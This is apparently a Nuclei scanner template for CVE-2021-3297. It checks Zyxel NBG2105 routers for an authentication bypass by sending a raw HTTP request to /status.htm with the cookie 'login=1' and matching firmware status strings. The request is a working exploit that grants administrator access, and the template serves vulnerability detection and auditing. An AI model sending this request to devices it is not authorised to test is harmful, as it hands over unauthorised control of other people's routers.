id: CVE-2021-3297
info:
  name: Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass
  description: On Zyxel NBG2105 V1.00(AAGU.2)C0 devices, setting the login cookie to 1 provides administrator access.
  author: gy741
  severity: high
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3297
    - https://github.com/nieldk/vulnerabilities/blob/main/zyxel%20nbg2105/Admin%20bypass
  tags: cve,cve2021,zyxel,auth-bypass,router

requests:
  - raw:
      - |
        GET /status.htm HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
        Accept-Encoding: gzip, deflate
        Accept: */*
        Connection: keep-alive
        Cookie: language=en; login=1

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "Running Time"
          - "Firmware Version"
          - "Firmware Build Time"
        condition: and